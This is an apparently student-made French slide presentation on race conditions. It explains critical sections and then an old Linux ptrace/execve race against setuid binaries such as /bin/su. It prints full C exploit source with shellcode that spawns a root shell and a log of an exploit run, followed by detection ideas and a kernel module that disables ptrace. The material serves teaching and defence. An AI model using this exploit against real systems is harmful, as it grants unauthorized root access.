Course Critique Race Condition Bernard Marc Moxhet Vincent Louis Stephane.

Post on 04-Apr-2015

107 views 0 download

Transcript of Course Critique Race Condition Bernard Marc Moxhet Vincent Louis Stephane.

Course CritiqueRace Condition

Bernard MarcMoxhet VincentLouis Stephane

Qu’est ce qu’une Course Critique ?

Une course critique peut se produire si deux ou plusieurs processus manipulent les mêmes données ou ressources au même moment. L’ordre dans lequel les opérations seront effectuées est quelconque et le résultat peut être la perte ou la falsification des données.

Montrons tout cela par un exemple. Imaginons deux processus traitant une variable partagée X:

. . .- Lecture de X en fichier Z (X=5)- X=X+5. . .---- Ecriture de X en fichier Z. . .

. . . - Lecture de X en fichier Z (X=5)- X=6-X- Ecriture de X en fichier Z-. . .- Lecture de X en fichier Z . . .

Process2 pense que le fichier Z contient la valeur calculée de X (=1), alors qu’il contient une valeur de X=10 calculée par Process1. Ainsi Process2 est induit en erreur ce qui peut avoir des conséquences sur le reste de son exécution.

Le danger est présent uniquement dans un intervalle appelé « section critique ». Dans notre exemple la zone encadrée en orange en est une.

Process1 Process2Exécu

tion

Comment peut on utiliser cela pour une attaque?L’attaquant induit le système en erreur. Il veille à bien respecter un ordre dans les opérations effectuées par des processus système pour obtenir ce qu’il souhaite.

Montrons tout cela par un exemple:

. . .- Remplacer fichier X par mon fichier. . .

. . .-Création de fichier X

-Appel système sur fichier X. . .

Le fichier X peut par exemple être un fichier appelé par un processus possédant des droits root, ainsi, l’attaquant peut se procurer un accès root.

(Le fichier X peut, par exemple, faire appel à un shell ou un script…)

Attaquant Système

Exécu

tion

Exemple

execve() / ptrace()

sous RedHat Linux

Exemple

execve()

sous RedHat Linux

execve() est une fonction qui permet de transformer un processus en un autre. execve() charge les données du programme dans lequel on veut que le processus se transforme, ensuite change toutes les variables, registres… Le processus appelant est maintenant complètement transformé.

Exemple

ptrace()

sous RedHat Linux

ptrace() est une fonction utilisée pour le débogage. Elle peut être attachée à un processus, si on a les droits assez élevés, pour surveiller celui-ci. Tout appel à ptrace met le processus surveillé en un état de sleep et ptrace peut alors consulter et même modifier les registres de ce processus.

Exemple

setuid()

sous RedHat Linux

setuid place l’ID utilisateur dans le processus.

setuid contrôle l’ID utilisateur de l’appellant, si c’est le root, tous les processus avec cette ID utilisateur sont mis à root.

Exemplesous RedHat Linux

En plaçant le processus fils en attente dans execve(), l’attaquant peut utiliser ptrace() (ou un mécanisme similaire) pour détourner le contrôle du processus fils.

Si le processus fils execute setuid, l’attaquant peut lui faire executer du code arbitraire avec des droits élevés.

Exemplesous RedHat Linux

Pere Filscrée

Exemplesous RedHat Linux

Pere Fils

. . .execve(su)

Exemplesous RedHat Linux

Pere Fils

ch

arg

e

SU(droits root)

attache

Exemplesous RedHat Linux

Pere SUattaché

Exemplesous RedHat Linux

Pere SUattaché

Lit registresdu processus

Exemplesous RedHat Linux

Pere SUattaché

Change registres en plaçant le code d’un shell dedans

Exemplesous RedHat Linux

Pere SUattaché

Ecrit registresdu processus

Exemplesous RedHat Linux

Pere shelldétache

(droits root)

Exemple

Code de l´exploit

sous RedHat Linux

#define CS_SIGNAL SIGUSR1#define VICTIM "/bin/su"#define SHELL "/bin/sh" char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x31\xc0\x31\xdb\xb0\x17\xcd\x80""\x31\xc0\xb0\x2e\xcd\x80""\x31\xc0\x50\xeb\x17\x8b\x1c\x24""\x90\x90\x90\x89\xe1\x8d\x54\x24""\x04\xb0\x0b\xcd\x80\x31\xc0\x89""\xc3\x40\xcd\x80\xe8\xe4\xff\xff""\xff" SHELL "\x00\x00\x00" ; volatile int cs_detector=0; void cs_sig_handler(int sig){ cs_detector=1;}

void do_victim(char * filename)

{

/* -------------FILS------------- */

 

/* Attente que le pere envoi un signal */

while (!cs_detector) ;

/* Envoi de signal au pere */

kill(getppid(), CS_SIGNAL);

/* Execution de la fonction victime */

execl(filename, filename, NULL);

perror("execl");

exit(-1);

}

int main(int argc, char * argv[])

{

char * filename=VICTIM;

pid_t victim;

int error, i;

struct user_regs_struct regs;

/* Interception du signal CS_SIGNAL par cs_sig_handler */

signal(CS_SIGNAL, cs_sig_handler);

/* Creer le fils -> processus victim */

victim=fork();

if (victim<0) {

perror("fork: victim");

exit(-1);

}

/* Le fils execute do_victim et le pere continue */

if (victim==0) do_victim(filename);

 

/* -------------PERE------------- */ /* Reveiller le fils qui est en attente en do_victim */ kill(victim, CS_SIGNAL); /* Attendre que le fils soit eveille et envoi un signal */ while (!cs_detector) ; /* S'attacher au fils tant qu'on a encore assez de droits cad qu il n est pas encore devenu su */ if (ptrace(PTRACE_ATTACH, victim)) { perror("ptrace: PTRACE_ATTACH"); goto exit; } /* Attendre que le fils se soit bien endormi */ (void)waitpid(victim, NULL, WUNTRACED); /* On relance le fils pour qu'il devienne su */ if (ptrace(PTRACE_CONT, victim, 0, 0)) { perror("ptrace: PTRACE_CONT"); goto exit; } 

/* Attendre que le fils se soit bien endormi */

(void)waitpid(victim, NULL, WUNTRACED);

/* Lecture des registres du fils */

if (ptrace(PTRACE_GETREGS, victim, 0, &regs)) {

perror("ptrace: PTRACE_GETREGS");

goto exit; }

/* Changer le registre "floatingpoint" du fils

en le remplacent par le shellcode */

for (i=0; i<=strlen(shellcode); i+=4) {

if (ptrace(PTRACE_POKETEXT, victim, regs.eip+i,

*(int*)(shellcode+i))) {

perror("ptrace: PTRACE_POKETEXT");

goto exit; }

}

/* Ecriture des registres dans le fils */

if (ptrace(PTRACE_SETREGS, victim, 0, &regs)) {

perror("ptrace: PTRACE_SETREGS");

goto exit; }

fprintf(stderr, "bug X-ploited successfully.\nNjoy!\n"); /* Detachement du fils */ if (ptrace(PTRACE_DETACH, victim, 0, 0)) { perror("ptrace: PTRACE_DETACH"); goto exit; } /* Attente de la fin du fils */ (void)waitpid(victim, NULL, 0); fprintf(stderr,"Attente que fils se terminee\n"); return 0; exit:

fprintf(stderr, "MERDEEEEEEEEEEEEEEE c nva pas\n");kill(victim, SIGKILL);return -1; }

DétectionOn imagine pour la détection de contrôler les appels aux fonctions de la famille execve et de detecter si dans un intervalle de temps assez court cet appel est suivi d’un appel à ptrace.

EliminationPour éliminer le problème, il faut patcher le noyau. Les version du noyau à partir de la version 2.2.19 ne contiennent plus cette course.Un moyen rapide d’éliminer la course est d’interdire l’appel systeme à ptrace.Il y a un module écrit à cet effet:

Pour l’utiliser:gr03:~# gcc -c npt.cgr03:~# insmod ./npt.o

Le module interdit tout « ptrace » de processus, mais protège instantanément contre des attaques par cette course.

Exemple de fonctionnement du module

[before installing module]gr03:> ./a.out /sbin/powerd[*] Child exec...[+] Waiting for disk sleep.... dunno why but that printf helps sometimes ;)[OK][+] ATTACH: 0 : Success[+] eip: 0x1109d0 -> 0x805a41b[+] copy data from 0x805a3e0 to 0xbffff100[...............][?] DETACH: 0 : Success Status of 5342: R bash#[installing module[bash# /sbin/insmod ./npt.obash# exit emsi:~/hack/ptrace> ./a.out /sbin/reboot[*] Child exec...[+] Waiting for disk sleep.... dunno why but that printf helps sometimes ;)[OK][--] ATTACH: Operation not permitted <==== see this Exiting...gr03:> Unknown id: ELF```

Code source du module#define MODULE#define __KERNEL__

#include <linux/module.h>#include <linux/unistd.h>#include <sys/syscall.h>

#ifndef KERNEL_VERSION#define KERNEL_VERSION(a,b,c) ((a)*65536+(b)*256+(c))#endif

#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,2,0)#include <asm/unistd.h>#endif

#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,2,14)#include <bits/syscall.h>#endif

extern void *sys_call_table[];

int (*orig_ptrace)(int, int, int, int);

int no_ptrace (int request, int pid, int addr, int data){return -1;}

int init_module(void) {

orig_ptrace = sys_call_table[__NR_ptrace];sys_call_table[__NR_ptrace]=no_ptrace;return 0;

}

void cleanup_module(void) {

sys_call_table[__NR_ptrace]=orig_ptrace;}